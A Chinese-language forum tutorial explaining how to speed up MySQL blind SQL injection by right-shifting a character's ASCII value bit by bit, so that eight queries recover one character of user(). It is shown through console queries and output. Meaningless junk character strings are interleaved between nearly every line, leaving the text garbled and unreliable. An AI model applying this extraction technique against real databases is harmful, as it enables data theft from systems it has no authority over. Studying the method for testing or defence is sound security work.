关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
: k+ x4 U4 V1 y& U6 h) D% v
# N- c' {, w  ]% @- g, r6 @
* p, O7 \$ e# O: e$ c
4 v6 l4 S( \6 m) T下面将以查询mysql数据库当中user()的第一位为例:



ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)



  V# ~! z& [) W# }首先执行如下sql语句:
1 g1 c+ i5 N2 q; i

/ s) J+ Z  H; l0 j
- R/ b' g$ j7 Z3 Xmysql> select (ascii((substr(user(),1,1))) >> 7)=0;
: Z* S. G; ?% ~  \  t

/ U) v9 Q  `1 H3 \2 x
3 [& |5 w, ]* L- P4 O, o我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
4 {; S$ _( A. L7 a+ G) \

' t. x# q* k, ~9 O5 x
- N1 M  `# l! X1 C, i  z, K! Y第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1

0 R& R, t, V2 t

3 U& F/ v& h- J  @如果运算结果为1,说明第一位为0,不为1
: u! V3 f+ g+ W5 _: P; f


+————————————–+

4 ?( e# `, q/ t6 [; ?| (ascii((substr(user(),1,1))) >> 7)=0 |

+————————————–+

| 1 |
$ ]. m* B0 R# q/ |; B  M
+ E# j3 [3 @& g% [: v6 O+ I/ J% ^' x+————————————–+

) D) i7 U+ w  q- `$ h% A" }1 row in set (0.00 sec)
4 G; }( N5 x* Y* F
8 d. n4 z) D/ j0 U这样我们就确定这个8bit的ascii的第一位为0

6 Z1 k& ?" m. r: S

第二次我们来做6次右偏移来确定前两位
* C! [7 k) R/ N$ t  M& J' h( o
' c+ ^3 D# {2 L1 w% G

前两位可能是01或00,即依然可以与0做比较,

mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
$ y. X- l+ J; N( }4 i% J; a
+————————————–+
- m) y% R. ]' Y* A$ b
| (ascii((substr(user(),1,1))) >> 6)=0 |

+ c8 b, T' P. q+————————————–+

1 Y- a( A5 g9 }$ J4 c| 0 |

  K* Z& {. E0 o% p8 v+————————————–+
, J2 k3 F1 K: Y4 s. ~* X& s6 L5 w
1 row in set (0.00 sec)
  F8 R/ ~: e! b  U7 i: {9 R

9 }5 Y; F: ~# _% u0 n
( z% \* V0 i- S" I% H; R/ e结果为0,即第二位为1



开始猜测前三位为010或011

" K* P. z& `$ K  \0 x2 S! @# a

让我们看看010和011的ascii码是多少
! D( ?$ `1 O% U% z# K

% a: v. Q" N9 p. i8 N3 r2 }
分别查询select b’011′ select b’010′


7 [) @! F- i' T% H: d' |1 q
9 v3 Y" _! y# L+ O0 g) m获得结果 010 = 2 011 = 3
0 `' Z4 I, U7 t; s6 b

/ n* o% c  F9 E; b7 Y/ y, m4 k
9 O9 s# L8 y+ C) V1 H* u执行如下sql:


2 k1 u* E) Y* g
( l% X( ?; S* ?5 |mysql> select (ascii((substr(user(),1,1))) >> 5)=2;

+————————————–+
- K9 ?0 n+ }& I9 j5 O
& L- t1 C) K( O  F. x: Q| (ascii((substr(user(),1,1))) >> 5)=2 |
3 @3 @; W' c% B$ x9 b( B( `
. c( k6 l- n  P5 f5 q% C# Q) _+————————————–+
& ]3 l! U# G2 u+ h: y9 O1 X; M8 S
8 n" d0 \4 ^/ `# _+ W3 Q1 Q- h$ _5 h| 0 |

+————————————–+

即前三位不为010,而是011



" d# Z" G) B- J' x3 M; y直到获得最后一位

! Y4 F! J; ~1 K9 O! }
' y; ]  c# B$ p2 Q( x( ?
最终结果为:01110010

" Z$ m- w6 r. ?- `" Q) _
: ^% E. B# G% U7 s3 t% x; w
; ?# A' }2 l9 d( u转换一下:


4 N- h& e: T+ ]6 C2 A  t( U
select b’01110010′
& d' Q* `/ m7 u0 U
7 i6 R  K/ b+ g. G7 _" z
0 j8 E, h" z# `7 g( p* S9 `" r
查询结果

; ~- v% x+ L4 B0 S; k3 ~

' L# S; ~4 u! Y8 Q0 a% X; D+————-+
) X. B. O8 j! t- s: j$ {
| b’01110010′ |

+————-+

| r |
# _9 w3 O1 u& u: Q% i
6 m# R5 L. U. R" f+————-+
2 q$ B% m  v) l6 _, E
4 |: G1 Y- J' k# e# ]' A$ X  _1 row in set (0.00 sec)


! S' P' w, g4 p1 y7 z" u9 i; g
这样我们就获得了user()的第一位.其它位依此类推
) b3 x% O5 @8 S9 K0 i; B
# N" f4 C* ?3 ~, s